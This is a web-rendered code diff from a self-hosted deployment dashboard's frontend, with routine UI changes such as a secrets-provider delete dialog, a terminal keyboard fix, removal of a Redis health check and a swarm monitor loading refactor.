vaultProviderId={provider.vaultProviderId}
|
||||
/>
|
||||
)}
|
||||
{permissions?.vaultProvider.delete && (
|
||||
<DialogAction
|
||||
title="Delete Secrets Provider"
|
||||
description="Deployments referencing this provider will fail. Are you sure?"
|
||||
type="destructive"
|
||||
onClick={async () => {
|
||||
await mutateAsync({
|
||||
vaultProviderId:
|
||||
provider.vaultProviderId,
|
||||
})
|
||||
.then(() => {
|
||||
toast.success(
|
||||
"Secrets provider deleted",
|
||||
);
|
||||
refetch();
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error(
|
||||
"Error deleting the secrets provider",
|
||||
);
|
||||
});
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="group hover:bg-red-500/10"
|
||||
isLoading={isRemoving}
|
||||
>
|
||||
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
{permissions?.vaultProvider.create && (
|
||||
<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
|
||||
<HandleVaultProvider />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -32,7 +32,9 @@ export const TerminalModal = ({
|
||||
serverId,
|
||||
asButton = false,
|
||||
}: Props) => {
|
||||
const [terminalKey, setTerminalKey] = useState<string>(getTerminalKey());
|
||||
const [terminalKey, setTerminalKey] = useState<string>(() =>
|
||||
getTerminalKey(),
|
||||
);
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
const isLocalServer = serverId === "local";
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css";
|
||||
import { AttachAddon } from "@xterm/addon-attach";
|
||||
import { ClipboardAddon } from "@xterm/addon-clipboard";
|
||||
import { useTheme } from "next-themes";
|
||||
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
|
||||
import { getLocalServerData } from "./local-server-config";
|
||||
|
||||
interface Props {
|
||||
@@ -58,6 +59,7 @@ export const Terminal: React.FC<Props> = ({ id, serverId }) => {
|
||||
const addonAttach = new AttachAddon(ws);
|
||||
const clipboardAddon = new ClipboardAddon();
|
||||
term.loadAddon(clipboardAddon);
|
||||
fixMacOsAltKeys(term);
|
||||
|
||||
// @ts-ignore
|
||||
term.open(termRef.current);
|
||||
|
||||
@@ -30,7 +30,6 @@ type ServiceStatus = {
|
||||
|
||||
type HealthResult = {
|
||||
postgres: ServiceStatus;
|
||||
redis: ServiceStatus;
|
||||
traefik: ServiceStatus;
|
||||
};
|
||||
|
||||
@@ -89,7 +88,6 @@ export const UpdateWebServer = ({
|
||||
const allHealthy =
|
||||
healthResult &&
|
||||
healthResult.postgres.status === "healthy" &&
|
||||
healthResult.redis.status === "healthy" &&
|
||||
healthResult.traefik.status === "healthy";
|
||||
|
||||
const checkIsUpdateFinished = async () => {
|
||||
@@ -179,7 +177,7 @@ export const UpdateWebServer = ({
|
||||
{modalState === "checking" && (
|
||||
<span className="flex items-center gap-2">
|
||||
<Loader2 className="animate-spin h-4 w-4" />
|
||||
Checking PostgreSQL, Redis and Traefik...
|
||||
Checking PostgreSQL and Traefik...
|
||||
</span>
|
||||
)}
|
||||
|
||||
@@ -190,10 +188,6 @@ export const UpdateWebServer = ({
|
||||
name="PostgreSQL"
|
||||
service={healthResult.postgres}
|
||||
/>
|
||||
<ServiceStatusItem
|
||||
name="Redis"
|
||||
service={healthResult.redis}
|
||||
/>
|
||||
<ServiceStatusItem
|
||||
name="Traefik"
|
||||
service={healthResult.traefik}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { ShowResources } from "@/components/dashboard/application/advanced/show-resources";
|
||||
import { ShowVolumes } from "@/components/dashboard/application/advanced/volumes/show-volumes";
|
||||
import { AssignNetworks } from "@/components/dashboard/networks/assign-networks";
|
||||
import { ShowCustomCommand } from "@/components/dashboard/postgres/advanced/show-custom-command";
|
||||
import { ShowClusterSettings } from "../application/advanced/cluster/show-cluster-settings";
|
||||
import { RebuildDatabase } from "./rebuild-database";
|
||||
@@ -21,6 +22,7 @@ export const ShowDatabaseAdvancedSettings = ({ id, type }: Props) => {
|
||||
<ShowClusterSettings id={id} type={type} />
|
||||
) : null}
|
||||
<ShowVolumes id={id} type={type} />
|
||||
<AssignNetworks id={id} type={type} />
|
||||
<ShowResources id={id} type={type} />
|
||||
<RebuildDatabase id={id} type={type} />
|
||||
</div>
|
||||
|
||||
@@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) {
|
||||
serverId,
|
||||
});
|
||||
|
||||
if (isPending) {
|
||||
return (
|
||||
<div className="w-full max-w-7xl mx-auto">
|
||||
<div className="mb-6 border min-h-[55vh] flex rounded-lg h-full items-center justify-center text-muted-foreground">
|
||||
{/* <div className="flex items-center justify-center h-full text-muted-foreground"> */}
|
||||
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[55vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
{/* </div> */}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!nodes) {
|
||||
return (
|
||||
<div className="w-full max-w-7xl mx-auto">
|
||||
<div className="mb-6 border min-h-[55vh] flex justify-center items-center rounded-lg h-full">
|
||||
<div className="flex items-center justify-center h-full text-destructive">
|
||||
<span>Failed to load data</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const totalNodes = nodes.length;
|
||||
const activeNodesCount = nodes.filter(
|
||||
(node) => node.Status === "Ready",
|
||||
).length;
|
||||
const managerNodesCount = nodes.filter(
|
||||
(node) =>
|
||||
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
|
||||
).length;
|
||||
const activeNodes = nodes.filter((node) => node.Status === "Ready");
|
||||
const managerNodes = nodes.filter(
|
||||
(node) =>
|
||||
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
|
||||
);
|
||||
const totalNodes = nodes?.length ?? 0;
|
||||
const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? [];
|
||||
const managerNodes =
|
||||
nodes?.filter(
|
||||
(node) =>
|
||||
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
|
||||
) ?? [];
|
||||
|
||||
return (
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
|
||||
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||
<header className="flex items-center flex-wrap gap-4 justify-between">
|
||||
<div className="space-y-1">
|
||||
@@ -94,93 +60,114 @@ export default function SwarmMonitorCard({ serverId }: Props) {
|
||||
)}
|
||||
</header>
|
||||
|
||||
<div className="grid gap-6 lg:grid-cols-3">
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||
<CardTitle className="text-sm font-medium">Total Nodes</CardTitle>
|
||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<div className="text-2xl font-bold">{totalNodes}</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
{isPending ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !nodes ? (
|
||||
<div className="flex items-center justify-center min-h-[45vh] text-destructive">
|
||||
<span>Failed to load data</span>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="grid gap-6 lg:grid-cols-3">
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||
<CardTitle className="text-sm font-medium">
|
||||
Total Nodes
|
||||
</CardTitle>
|
||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<div className="text-2xl font-bold">{totalNodes}</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||
<div className="flex items-center gap-2">
|
||||
<CardTitle className="text-sm font-medium">
|
||||
Active Nodes
|
||||
</CardTitle>
|
||||
<Badge variant="green">Online</Badge>
|
||||
</div>
|
||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger>
|
||||
<div className="text-2xl font-bold">
|
||||
{activeNodesCount} / {totalNodes}
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<div className="max-h-48 overflow-y-auto">
|
||||
{activeNodes.map((node) => (
|
||||
<div key={node.ID} className="flex items-center gap-2">
|
||||
{node.Hostname}
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||
<div className="flex items-center gap-2">
|
||||
<CardTitle className="text-sm font-medium">
|
||||
Active Nodes
|
||||
</CardTitle>
|
||||
<Badge variant="green">Online</Badge>
|
||||
</div>
|
||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger>
|
||||
<div className="text-2xl font-bold">
|
||||
{activeNodes.length} / {totalNodes}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||
<div className="flex items-center gap-2">
|
||||
<CardTitle className="text-sm font-medium">
|
||||
Manager Nodes
|
||||
</CardTitle>
|
||||
<Badge variant="green">Online</Badge>
|
||||
</div>
|
||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger>
|
||||
<div className="text-2xl font-bold">
|
||||
{managerNodesCount} / {totalNodes}
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<div className="max-h-48 overflow-y-auto">
|
||||
{managerNodes.map((node) => (
|
||||
<div key={node.ID} className="flex items-center gap-2">
|
||||
{node.Hostname}
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<div className="max-h-48 overflow-y-auto">
|
||||
{activeNodes.map((node) => (
|
||||
<div
|
||||
key={node.ID}
|
||||
className="flex items-center gap-2"
|
||||
>
|
||||
{node.Hostname}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
|
||||
{nodes.map((node) => (
|
||||
<NodeCard key={node.ID} node={node} serverId={serverId} />
|
||||
))}
|
||||
</div>
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||
<div className="flex items-center gap-2">
|
||||
<CardTitle className="text-sm font-medium">
|
||||
Manager Nodes
|
||||
</CardTitle>
|
||||
<Badge variant="green">Online</Badge>
|
||||
</div>
|
||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<TooltipProvider>
|
||||
<Tooltip>
|
||||
<TooltipTrigger>
|
||||
<div className="text-2xl font-bold">
|
||||
{managerNodes.length} / {totalNodes}
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent>
|
||||
<div className="max-h-48 overflow-y-auto">
|
||||
{managerNodes.map((node) => (
|
||||
<div
|
||||
key={node.ID}
|
||||
className="flex items-center gap-2"
|
||||
>
|
||||
{node.Hostname}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</TooltipProvider>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
|
||||
{nodes.map((node) => (
|
||||
<NodeCard key={node.ID} node={node} serverId={serverId} />
|
||||
))}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</Card>
|
||||
);
|
||||
|
||||
@@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => {
|
||||
>
|
||||
<path
|
||||
d="M38.1637 8.19202C38.0639 8.10928 37.9372 8.0659 37.8075 8.07003C37.4539 8.07003 36.9964 8.314 36.7512 8.43598L36.6524 8.486C36.2404 8.68747 35.7917 8.80285 35.3337 8.8251C34.8629 8.83973 34.4567 8.8678 33.9309 8.92147C30.8009 9.2435 29.4115 11.6392 28.0685 13.9557C27.3365 15.2157 26.5827 16.5173 25.5472 17.5273C25.333 17.735 25.1052 17.9282 24.8652 18.1055C23.7942 18.9045 22.4487 19.468 21.3974 19.8705C20.3897 20.256 19.2894 20.6025 18.2257 20.9367C17.2499 21.2442 16.3338 21.5332 15.4885 21.8467C15.1067 21.9893 14.7822 22.0907 14.4968 22.1918C13.7271 22.4493 13.1708 22.6335 12.3609 23.1885C12.0449 23.4043 11.7278 23.6398 11.507 23.8155C10.8638 24.3293 10.2945 24.9295 9.81509 25.5988C9.40495 26.2163 8.93065 26.7888 8.4001 27.3067C8.22932 27.475 7.92559 27.5505 7.47059 27.5505C6.93754 27.5505 6.29102 27.4408 5.6067 27.3248C4.90287 27.2028 4.17342 27.081 3.54887 27.081C3.0402 27.081 2.6523 27.1627 2.36077 27.3322C2.36077 27.3322 1.87284 27.6177 1.66669 27.986L1.86917 28.0775C2.18275 28.2468 2.47374 28.455 2.73525 28.6972C3.00602 28.9482 3.3082 29.1632 3.63425 29.3363C3.7385 29.3782 3.83284 29.4413 3.91115 29.5218C3.82577 29.6438 3.70012 29.8072 3.5696 29.9792C2.84747 30.9233 2.42664 31.521 2.66815 31.8455C2.78092 31.9047 2.90685 31.934 3.0341 31.931C4.60767 31.931 5.45179 31.5223 6.52157 31.0038C6.83507 30.8623 7.15587 30.7075 7.52182 30.5488C8.14637 30.278 8.81972 29.845 9.53209 29.3877C10.4762 28.7777 11.4521 28.1532 12.3975 27.8507C13.1762 27.6123 13.9875 27.4978 14.8017 27.5115C15.8056 27.5115 16.8547 27.647 17.8695 27.7762C18.627 27.8738 19.4102 27.9738 20.1787 28.0202C20.4775 28.0373 20.7544 28.0458 21.0229 28.0458C21.3825 28.047 21.7422 28.0283 22.0999 27.9897L22.1854 27.9592C22.7245 27.6287 22.977 26.9175 23.2222 26.2295C23.3795 25.7867 23.5112 25.3903 23.7162 25.1317C23.729 25.1195 23.743 25.1085 23.7577 25.0987C23.7674 25.0933 23.7787 25.0913 23.7899 25.093C23.8009 25.0948 23.811 25.1003 23.8187 25.1085C23.8187 25.1085 23.8187 25.1085 23.8187 25.128C23.6894 27.8177 22.611 29.5193 21.5157 31.0417L20.7837 31.826C20.7837 31.826 21.8072 31.826 22.389 31.6015C24.5139 30.966 26.1192 29.5657 27.2865 27.3322C27.5745 26.7592 27.8319 26.1712 28.0575 25.5708C28.077 25.5208 28.2624 25.428 28.2442 25.6928C28.2442 25.7697 28.2332 25.855 28.227 25.9367C28.227 25.9892 28.2197 26.0428 28.2174 26.0965C28.1869 26.4685 28.0954 27.2652 28.0954 27.2652L28.7515 26.9127C30.3374 25.9098 31.5572 23.896 32.4794 20.7562C32.8649 19.4485 33.1465 18.1507 33.3954 17.004C33.693 15.6341 33.9505 14.4509 34.2494 13.9935C34.7104 13.2762 35.4142 12.7895 36.0949 12.3199L36.373 12.1259C37.2269 11.5258 38.0807 10.8305 38.2687 9.53748V9.50942C38.4102 8.55065 38.2942 8.30423 38.1637 8.19202Z"
|
||||
fill="#231F20"
|
||||
fill="#c2bfbf"
|
||||
/>
|
||||
</svg>
|
||||
);
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user